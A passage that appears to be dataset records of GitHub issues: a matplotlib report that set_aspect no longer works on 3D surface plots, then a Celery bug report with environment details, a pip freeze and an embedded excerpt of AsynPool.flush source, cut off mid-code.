<h3 dir="auto">Bug report</h3> <p dir="auto"><strong>Bug summary</strong></p> <p dir="auto">set_aspect does not work for 3D surface plots</p> <p dir="auto"><strong>Expected outcome</strong></p> <p dir="auto">If a sphere is drawn with plot_surface then it should appear as a sphere and not an ellipse that depends on the window sizing. This was achieved in mpl 3.0.3 by calling<br> set_aspect('equal').<br> It is now broken in mpl 3.1.1-3.1.3 because the following was inserted in matplotlib/axes/_base.py (lines1279:1282) by the developers<br> if (not cbook._str_equal(aspect, 'auto')) and self.name == '3d':<br> raise NotImplementedError(<br> 'It is not currently possible to manually set the aspect '<br> 'on 3D axes')</p> <p dir="auto">To get set_aspect to work (correctly, I might add), I have to comment out these lines in my local version of matplotlib. A plotted sphere appears as a sphere independent of the window sizing.</p>
1
<h1 dir="auto">Checklist</h1> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have verified that the issue exists against the <code class="notranslate">master</code> branch of Celery.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> This has already been asked to the <a href="https://groups.google.com/forum/#!forum/celery-users" rel="nofollow">discussion group</a> first.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the relevant section in the<br> <a href="http://docs.celeryproject.org/en/latest/contributing.html#other-bugs" rel="nofollow">contribution guide</a><br> on reporting bugs.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the <a href="https://github.com/celery/celery/issues?q=is%3Aissue+label%3A%22Issue+Type%3A+Bug+Report%22+-label%3A%22Category%3A+Documentation%22">issues list</a><br> for similar or identical bug reports.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the <a href="https://github.com/celery/celery/pulls?q=is%3Apr+label%3A%22PR+Type%3A+Bugfix%22+-label%3A%22Category%3A+Documentation%22">pull requests list</a><br> for existing proposed fixes.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the <a href="https://github.com/celery/celery/commits/master">commit log</a><br> to find out if the bug was already fixed in the master branch.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included all related issues and possible duplicate issues<br> in this issue (If there are none, check this box anyway).</li> </ul> <h2 dir="auto">Mandatory Debugging Information</h2> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included the output of <code class="notranslate">celery -A proj report</code> in the issue.<br> (if you are not able to do this, then at least specify the Celery<br> version affected).</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have verified that the issue exists against the <code class="notranslate">master</code> branch of Celery.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included the contents of <code class="notranslate">pip freeze</code> in the issue.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included all the versions of all the external dependencies required<br> to reproduce this bug.</li> </ul> <h2 dir="auto">Optional Debugging Information</h2> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one Python version<br> and/or implementation.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one message broker and/or<br> result backend.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one version of the message<br> broker and/or result backend.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one operating system.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one workers pool.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue with autoscaling, retries,<br> ETA/Countdown &amp; rate limits disabled.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue after downgrading<br> and/or upgrading Celery and its dependencies.</li> </ul> <h2 dir="auto">Related Issues and Possible Duplicates</h2> <h4 dir="auto">Related Issues</h4> <ul dir="auto"> <li>None</li> </ul> <h4 dir="auto">Possible Duplicates</h4> <ul dir="auto"> <li>None</li> </ul> <h2 dir="auto">Environment &amp; Settings</h2> <p dir="auto"><strong>Celery version</strong>: 5.1.2</p> <details> <summary><b><code class="notranslate">celery report</code> Output:</b></summary> <p dir="auto"> </p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="celery -A myapp report software -&gt; celery:5.1.2 (sun-harmonics) kombu:5.1.0 py:3.9.0 billiard:3.6.4.0 py-amqp:5.0.6 platform -&gt; system:Linux arch:64bit, ELF kernel version:5.11.0-22-generic imp:CPython loader -&gt; celery.loaders.app.AppLoader settings -&gt; transport:amqp results:disabled broker_url: 'amqp://guest:********@localhost:5672//' deprecated_settings: None"><pre class="notranslate"><code class="notranslate">celery -A myapp report software -&gt; celery:5.1.2 (sun-harmonics) kombu:5.1.0 py:3.9.0 billiard:3.6.4.0 py-amqp:5.0.6 platform -&gt; system:Linux arch:64bit, ELF kernel version:5.11.0-22-generic imp:CPython loader -&gt; celery.loaders.app.AppLoader settings -&gt; transport:amqp results:disabled broker_url: 'amqp://guest:********@localhost:5672//' deprecated_settings: None </code></pre></div> <p dir="auto"></p> </details> <h1 dir="auto">Steps to Reproduce</h1> <h2 dir="auto">Required Dependencies</h2> <ul dir="auto"> <li><strong>Minimal Python Version</strong>: N/A or Unknown</li> <li><strong>Minimal Celery Version</strong>: 1.x</li> <li><strong>Minimal Kombu Version</strong>: N/A or Unknown</li> <li><strong>Minimal Broker Version</strong>: N/A or Unknown</li> <li><strong>Minimal Result Backend Version</strong>: N/A or Unknown</li> <li><strong>Minimal OS and/or Kernel Version</strong>: N/A or Unknown</li> <li><strong>Minimal Broker Client Version</strong>: N/A or Unknown</li> <li><strong>Minimal Result Backend Client Version</strong>: N/A or Unknown</li> </ul> <h3 dir="auto">Python Packages</h3> <details> <summary><b><code class="notranslate">pip freeze</code> Output:</b></summary> <p dir="auto"> </p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="aiohttp==3.7.4.post0 alabaster==0.7.12 amqp==5.0.6 appdirs==1.4.4 async-timeout==3.0.1 attrs==20.3.0 autoflake==1.4 autopep8==1.5.7 aws-xray-sdk==0.95 azure-common==1.1.5 azure-nspkg==3.0.2 azure-storage==0.36.0 azure-storage-common==1.1.0 azure-storage-nspkg==3.1.0 Babel==2.8.0 backcall==0.2.0 billiard==3.6.4.0 bleach==3.2.1 boto==2.49.0 boto3==1.16.9 botocore==1.19.9 bump2version==1.0.1 bumpversion==0.6.0 case==1.5.3 cassandra-driver==3.20.2 -e [email protected]:celery/celery.git@7b5a44d646f43288fb546da10a1141347b01543b#egg=celery Cerberus==1.3.2 certifi==2020.12.5 cffi==1.14.5 cfgv==3.2.0 chardet==4.0.0 click==7.1.2 click-didyoumean==0.0.3 click-plugins==1.1.1 click-repl==0.1.6 codecov==2.1.11 colorama==0.4.4 couchbase==3.1.3 coverage==5.4 cryptography==3.4.6 DateTime==4.3 decorator==4.4.2 deepmerge==0.1.1 dephell-archive==0.1.7 dephell-argparse==0.1.3 dephell-changelogs==0.0.1 dephell-discover==0.2.10 dephell-licenses==0.1.7 dephell-links==0.1.5 dephell-markers==1.0.3 dephell-pythons==0.1.15 dephell-setuptools==0.2.4 dephell-shells==0.1.5 dephell-specifier==0.2.2 dephell-venvs==0.1.18 dephell-versioning==0.1.2 diff-cover==4.2.3 distlib==0.3.1 dnspython==1.16.0 docker==4.3.1 docutils==0.16 durationpy==0.5 ecdsa==0.16.0 elasticsearch==7.9.1 ephem==3.7.7.1 eventlet==0.29.1 filelock==3.0.12 flower==0.9.5 future==0.18.2 gevent==21.1.2 greenlet==0.4.17 humanize==3.1.0 identify==1.5.6 idna==2.10 imagesize==1.2.0 importlib-metadata==4.0.1 inflect==3.0.2 iniconfig==1.1.1 ipython==7.19.0 ipython-genutils==0.2.0 isort==5.9.1 jedi==0.17.2 jeepney==0.6.0 Jinja2==2.11.2 jinja2-pluralize==0.3.0 jmespath==0.10.0 jsondiff==1.1.1 jsonpickle==1.4.1 keyring==21.5.0 kombu==5.1.0 linecache2==1.0.0 m2r==0.2.1 MarkupSafe==1.1.1 mistune==0.8.4 mock==4.0.2 moto==1.3.7 msgpack==1.0.0 multidict==5.1.0 mypy-extensions==0.4.3 nodeenv==1.5.0 nose==1.3.7 packaging==20.9 parso==0.7.1 pbr==5.5.1 pexpect==4.8.0 pickleshare==0.7.5 pkginfo==1.6.1 pluggy==0.13.1 pre-commit==2.8.2 prometheus-client==0.8.0 prompt-toolkit @ file:///home/thedrow/.cache/pypoetry/artifacts/85/ed/40/229a34dee2081fd935c85f600bfcddb0974a96a88f099412c62b58d4fa/prompt_toolkit-3.0.3-py3-none-any.whl ptyprocess==0.6.0 py==1.10.0 pyaml==20.4.0 pyArango==1.3.4 pycodestyle==2.7.0 pycouchdb==1.14.1 pycparser==2.20 pycryptodome==3.9.8 pycurl==7.43.0.5 pydocumentdb==2.3.2 pyflakes==2.2.0 Pygments==2.7.3 pylibmc==1.6.1 pymongo==3.11.0 pyparsing==2.4.7 pyrsistent==0.17.3 pytest==6.2.2 pytest-celery==0.0.0a1 pytest-cov==2.11.1 pytest-rerunfailures==9.1.1 pytest-subtests==0.3.2 pytest-timeout==1.4.2 pytest-travis-fold==1.3.0 python-consul==1.1.0 python-dateutil==2.8.1 python-jose==2.0.2 python-memcached==1.59 pytz @ file:///home/thedrow/.cache/pypoetry/artifacts/b0/a7/8d/54de3ab4d1ff29abbbca1e9ccbaefdc2a1b290138311b84f73bee16de1/pytz-2021.1-py2.py3-none-any.whl pyupgrade==2.19.1 pyupgrade-directories==0.2.0 PyYAML==5.3.1 readme-renderer==28.0 redis==3.5.3 requests==2.25.1 requests-toolbelt==0.9.1 responses==0.12.0 rfc3986==1.4.0 ruamel.yaml==0.16.13 ruamel.yaml.clib==0.2.2 s3transfer==0.3.3 SecretStorage==3.3.0 shellingham==1.4.0 simplejson==3.17.2 six==1.15.0 snowballstemmer==2.0.0 softlayer-messaging==1.0.3 Sphinx==3.3.0 sphinx-celery==2.0.0 sphinx-click==2.5.0 sphinx-testing==0.7.2 sphinxcontrib-applehelp==1.0.2 sphinxcontrib-devhelp==1.0.2 sphinxcontrib-htmlhelp==1.0.3 sphinxcontrib-jsmath==1.0.1 sphinxcontrib-qthelp==1.0.3 sphinxcontrib-serializinghtml==1.1.4 SQLAlchemy==1.3.23 tblib==1.7.0 tokenize-rt==4.1.0 toml==0.10.2 toml-sort==0.18.0 tomlkit==0.7.0 tornado==6.1 tqdm==4.54.1 traceback2==1.4.0 traitlets==5.0.5 twine==3.4.1 typing-extensions==3.7.4.3 unittest2==1.1.0 urllib3==1.26.3 vine==5.0.0 virtualenv==20.1.0 wcwidth==0.2.5 webencodings==0.5.1 websocket-client==0.57.0 Werkzeug==1.0.1 wrapt==1.12.1 xmltodict==0.12.0 yarl==1.6.3 yaspin==1.4.1 zipp==3.4.0 zope.event==4.5.0 zope.interface==5.1.2"><pre class="notranslate"><code class="notranslate">aiohttp==3.7.4.post0 alabaster==0.7.12 amqp==5.0.6 appdirs==1.4.4 async-timeout==3.0.1 attrs==20.3.0 autoflake==1.4 autopep8==1.5.7 aws-xray-sdk==0.95 azure-common==1.1.5 azure-nspkg==3.0.2 azure-storage==0.36.0 azure-storage-common==1.1.0 azure-storage-nspkg==3.1.0 Babel==2.8.0 backcall==0.2.0 billiard==3.6.4.0 bleach==3.2.1 boto==2.49.0 boto3==1.16.9 botocore==1.19.9 bump2version==1.0.1 bumpversion==0.6.0 case==1.5.3 cassandra-driver==3.20.2 -e [email protected]:celery/celery.git@7b5a44d646f43288fb546da10a1141347b01543b#egg=celery Cerberus==1.3.2 certifi==2020.12.5 cffi==1.14.5 cfgv==3.2.0 chardet==4.0.0 click==7.1.2 click-didyoumean==0.0.3 click-plugins==1.1.1 click-repl==0.1.6 codecov==2.1.11 colorama==0.4.4 couchbase==3.1.3 coverage==5.4 cryptography==3.4.6 DateTime==4.3 decorator==4.4.2 deepmerge==0.1.1 dephell-archive==0.1.7 dephell-argparse==0.1.3 dephell-changelogs==0.0.1 dephell-discover==0.2.10 dephell-licenses==0.1.7 dephell-links==0.1.5 dephell-markers==1.0.3 dephell-pythons==0.1.15 dephell-setuptools==0.2.4 dephell-shells==0.1.5 dephell-specifier==0.2.2 dephell-venvs==0.1.18 dephell-versioning==0.1.2 diff-cover==4.2.3 distlib==0.3.1 dnspython==1.16.0 docker==4.3.1 docutils==0.16 durationpy==0.5 ecdsa==0.16.0 elasticsearch==7.9.1 ephem==3.7.7.1 eventlet==0.29.1 filelock==3.0.12 flower==0.9.5 future==0.18.2 gevent==21.1.2 greenlet==0.4.17 humanize==3.1.0 identify==1.5.6 idna==2.10 imagesize==1.2.0 importlib-metadata==4.0.1 inflect==3.0.2 iniconfig==1.1.1 ipython==7.19.0 ipython-genutils==0.2.0 isort==5.9.1 jedi==0.17.2 jeepney==0.6.0 Jinja2==2.11.2 jinja2-pluralize==0.3.0 jmespath==0.10.0 jsondiff==1.1.1 jsonpickle==1.4.1 keyring==21.5.0 kombu==5.1.0 linecache2==1.0.0 m2r==0.2.1 MarkupSafe==1.1.1 mistune==0.8.4 mock==4.0.2 moto==1.3.7 msgpack==1.0.0 multidict==5.1.0 mypy-extensions==0.4.3 nodeenv==1.5.0 nose==1.3.7 packaging==20.9 parso==0.7.1 pbr==5.5.1 pexpect==4.8.0 pickleshare==0.7.5 pkginfo==1.6.1 pluggy==0.13.1 pre-commit==2.8.2 prometheus-client==0.8.0 prompt-toolkit @ file:///home/thedrow/.cache/pypoetry/artifacts/85/ed/40/229a34dee2081fd935c85f600bfcddb0974a96a88f099412c62b58d4fa/prompt_toolkit-3.0.3-py3-none-any.whl ptyprocess==0.6.0 py==1.10.0 pyaml==20.4.0 pyArango==1.3.4 pycodestyle==2.7.0 pycouchdb==1.14.1 pycparser==2.20 pycryptodome==3.9.8 pycurl==7.43.0.5 pydocumentdb==2.3.2 pyflakes==2.2.0 Pygments==2.7.3 pylibmc==1.6.1 pymongo==3.11.0 pyparsing==2.4.7 pyrsistent==0.17.3 pytest==6.2.2 pytest-celery==0.0.0a1 pytest-cov==2.11.1 pytest-rerunfailures==9.1.1 pytest-subtests==0.3.2 pytest-timeout==1.4.2 pytest-travis-fold==1.3.0 python-consul==1.1.0 python-dateutil==2.8.1 python-jose==2.0.2 python-memcached==1.59 pytz @ file:///home/thedrow/.cache/pypoetry/artifacts/b0/a7/8d/54de3ab4d1ff29abbbca1e9ccbaefdc2a1b290138311b84f73bee16de1/pytz-2021.1-py2.py3-none-any.whl pyupgrade==2.19.1 pyupgrade-directories==0.2.0 PyYAML==5.3.1 readme-renderer==28.0 redis==3.5.3 requests==2.25.1 requests-toolbelt==0.9.1 responses==0.12.0 rfc3986==1.4.0 ruamel.yaml==0.16.13 ruamel.yaml.clib==0.2.2 s3transfer==0.3.3 SecretStorage==3.3.0 shellingham==1.4.0 simplejson==3.17.2 six==1.15.0 snowballstemmer==2.0.0 softlayer-messaging==1.0.3 Sphinx==3.3.0 sphinx-celery==2.0.0 sphinx-click==2.5.0 sphinx-testing==0.7.2 sphinxcontrib-applehelp==1.0.2 sphinxcontrib-devhelp==1.0.2 sphinxcontrib-htmlhelp==1.0.3 sphinxcontrib-jsmath==1.0.1 sphinxcontrib-qthelp==1.0.3 sphinxcontrib-serializinghtml==1.1.4 SQLAlchemy==1.3.23 tblib==1.7.0 tokenize-rt==4.1.0 toml==0.10.2 toml-sort==0.18.0 tomlkit==0.7.0 tornado==6.1 tqdm==4.54.1 traceback2==1.4.0 traitlets==5.0.5 twine==3.4.1 typing-extensions==3.7.4.3 unittest2==1.1.0 urllib3==1.26.3 vine==5.0.0 virtualenv==20.1.0 wcwidth==0.2.5 webencodings==0.5.1 websocket-client==0.57.0 Werkzeug==1.0.1 wrapt==1.12.1 xmltodict==0.12.0 yarl==1.6.3 yaspin==1.4.1 zipp==3.4.0 zope.event==4.5.0 zope.interface==5.1.2 </code></pre></div> <p dir="auto"></p> </details> <h3 dir="auto">Other Dependencies</h3> <details> <p dir="auto"> N/A </p> </details> <h2 dir="auto">Minimally Reproducible Test Case</h2> <p dir="auto">To reproduce the issue you must force close the connection and cause AsynPool to be flushed.<br> Missing a heartbeat due to a breakpoint does the trick.<br> See </p><div class="Box Box--condensed my-2"> <div class="Box-header f6"> <p class="mb-0 text-bold"> <a href="https://github.com/celery/celery/blob/681e72edb918c8ff315665a6abbfc6dd99f303e2/celery/concurrency/asynpool.py#L978-L1038">celery/celery/concurrency/asynpool.py</a> </p> <p class="mb-0 color-fg-muted"> Lines 978 to 1038 in <a data-pjax="true" class="commit-tease-sha" href="/celery/celery/commit/681e72edb918c8ff315665a6abbfc6dd99f303e2">681e72e</a> </p> </div> <div itemprop="text" class="Box-body p-0 blob-wrapper blob-wrapper-embedded data"> <table class="highlight tab-size mb-0 js-file-line-container" data-tab-size="8" data-paste-markdown-skip=""> <tbody><tr class="border-0"> <td id="L978" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="978"></td> <td id="LC978" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">def</span> <span class="pl-en">flush</span>(<span class="pl-s1">self</span>): </td> </tr> <tr class="border-0"> <td id="L979" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="979"></td> <td id="LC979" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-s1">self</span>.<span class="pl-s1">_state</span> <span class="pl-c1">==</span> <span class="pl-v">TERMINATE</span>: </td> </tr> <tr class="border-0"> <td id="L980" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="980"></td> <td id="LC980" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">return</span> </td> </tr> <tr class="border-0"> <td id="L981" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="981"></td> <td id="LC981" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># cancel all tasks that haven't been accepted so that NACK is sent.</span> </td> </tr> <tr class="border-0"> <td id="L982" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="982"></td> <td id="LC982" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">for</span> <span class="pl-s1">job</span> <span class="pl-c1">in</span> <span class="pl-s1">self</span>.<span class="pl-s1">_cache</span>.<span class="pl-en">values</span>(): </td> </tr> <tr class="border-0"> <td id="L983" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="983"></td> <td id="LC983" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">job</span>.<span class="pl-s1">_accepted</span>: </td> </tr> <tr class="border-0"> <td id="L984" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="984"></td> <td id="LC984" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">job</span>.<span class="pl-en">_cancel</span>() </td> </tr> <tr class="border-0"> <td id="L985" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="985"></td> <td id="LC985" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> </td> </tr> <tr class="border-0"> <td id="L986" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="986"></td> <td id="LC986" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># clear the outgoing buffer as the tasks will be redelivered by</span> </td> </tr> <tr class="border-0"> <td id="L987" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="987"></td> <td id="LC987" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># the broker anyway.</span> </td> </tr> <tr class="border-0"> <td id="L988" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="988"></td> <td id="LC988" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-s1">self</span>.<span class="pl-s1">outbound_buffer</span>: </td> </tr> <tr class="border-0"> <td id="L989" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="989"></td> <td id="LC989" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-s1">outbound_buffer</span>.<span class="pl-en">clear</span>() </td> </tr> <tr class="border-0"> <td id="L990" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="990"></td> <td id="LC990" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> </td> </tr> <tr class="border-0"> <td id="L991" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="991"></td> <td id="LC991" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">self</span>.<span class="pl-en">maintain_pool</span>() </td> </tr> <tr class="border-0"> <td id="L992" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="992"></td> <td id="LC992" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> </td> </tr> <tr class="border-0"> <td id="L993" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="993"></td> <td id="LC993" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">try</span>: </td> </tr> <tr class="border-0"> <td id="L994" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="994"></td> <td id="LC994" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># ...but we must continue writing the payloads we already started</span> </td> </tr> <tr class="border-0"> <td id="L995" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="995"></td> <td id="LC995" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># to keep message boundaries.</span> </td> </tr> <tr class="border-0"> <td id="L996" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="996"></td> <td id="LC996" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># The messages may be NACK'ed later if synack is enabled.</span> </td> </tr> <tr class="border-0"> <td id="L997" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="997"></td> <td id="LC997" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-s1">self</span>.<span class="pl-s1">_state</span> <span class="pl-c1">==</span> <span class="pl-v">RUN</span>: </td> </tr> <tr class="border-0"> <td id="L998" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="998"></td> <td id="LC998" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># flush outgoing buffers</span> </td> </tr> <tr class="border-0"> <td id="L999" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="999"></td> <td id="LC999" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">intervals</span> <span class="pl-c1">=</span> <span class="pl-en">fxrange</span>(<span class="pl-c1">0.01</span>, <span class="pl-c1">0.1</span>, <span class="pl-c1">0.01</span>, <span class="pl-s1">repeatlast</span><span class="pl-c1">=</span><span class="pl-c1">True</span>) </td> </tr> <tr class="border-0"> <td id="L1000" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1000"></td> <td id="LC1000" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">owned_by</span> <span class="pl-c1">=</span> {} </td> </tr> <tr class="border-0"> <td id="L1001" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1001"></td> <td id="LC1001" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">for</span> <span class="pl-s1">job</span> <span class="pl-c1">in</span> <span class="pl-s1">self</span>.<span class="pl-s1">_cache</span>.<span class="pl-en">values</span>(): </td> </tr> <tr class="border-0"> <td id="L1002" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1002"></td> <td id="LC1002" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">writer</span> <span class="pl-c1">=</span> <span class="pl-en">_get_job_writer</span>(<span class="pl-s1">job</span>) </td> </tr> <tr class="border-0"> <td id="L1003" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1003"></td> <td id="LC1003" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> <span class="pl-s1">writer</span> <span class="pl-c1">is</span> <span class="pl-c1">not</span> <span class="pl-c1">None</span>: </td> </tr> <tr class="border-0"> <td id="L1004" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1004"></td> <td id="LC1004" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">owned_by</span>[<span class="pl-s1">writer</span>] <span class="pl-c1">=</span> <span class="pl-s1">job</span> </td> </tr> <tr class="border-0"> <td id="L1005" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1005"></td> <td id="LC1005" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> </td> </tr> <tr class="border-0"> <td id="L1006" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1006"></td> <td id="LC1006" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">while</span> <span class="pl-s1">self</span>.<span class="pl-s1">_active_writers</span>: </td> </tr> <tr class="border-0"> <td id="L1007" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1007"></td> <td id="LC1007" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">writers</span> <span class="pl-c1">=</span> <span class="pl-en">list</span>(<span class="pl-s1">self</span>.<span class="pl-s1">_active_writers</span>) </td> </tr> <tr class="border-0"> <td id="L1008" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1008"></td> <td id="LC1008" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">for</span> <span class="pl-s1">gen</span> <span class="pl-c1">in</span> <span class="pl-s1">writers</span>: </td> </tr> <tr class="border-0"> <td id="L1009" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1009"></td> <td id="LC1009" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">if</span> (<span class="pl-s1">gen</span>.<span class="pl-s1">__name__</span> <span class="pl-c1">==</span> <span class="pl-s">'_write_job'</span> <span class="pl-c1">and</span> </td> </tr> <tr class="border-0"> <td id="L1010" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1010"></td> <td id="LC1010" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-en">gen_not_started</span>(<span class="pl-s1">gen</span>)): </td> </tr> <tr class="border-0"> <td id="L1011" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1011"></td> <td id="LC1011" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># hasn't started writing the job so can</span> </td> </tr> <tr class="border-0"> <td id="L1012" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1012"></td> <td id="LC1012" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># discard the task, but we must also remove</span> </td> </tr> <tr class="border-0"> <td id="L1013" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1013"></td> <td id="LC1013" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># it from the Pool._cache.</span> </td> </tr> <tr class="border-0"> <td id="L1014" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1014"></td> <td id="LC1014" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">try</span>: </td> </tr> <tr class="border-0"> <td id="L1015" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1015"></td> <td id="LC1015" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-s1">job</span> <span class="pl-c1">=</span> <span class="pl-s1">owned_by</span>[<span class="pl-s1">gen</span>] </td> </tr> <tr class="border-0"> <td id="L1016" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1016"></td> <td id="LC1016" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">except</span> <span class="pl-v">KeyError</span>: </td> </tr> <tr class="border-0"> <td id="L1017" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1017"></td> <td id="LC1017" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">pass</span> </td> </tr> <tr class="border-0"> <td id="L1018" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1018"></td> <td id="LC1018" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-k">else</span>: </td> </tr> <tr class="border-0"> <td id="L1019" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="1019"></td> <td id="LC1019" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c"># removes from 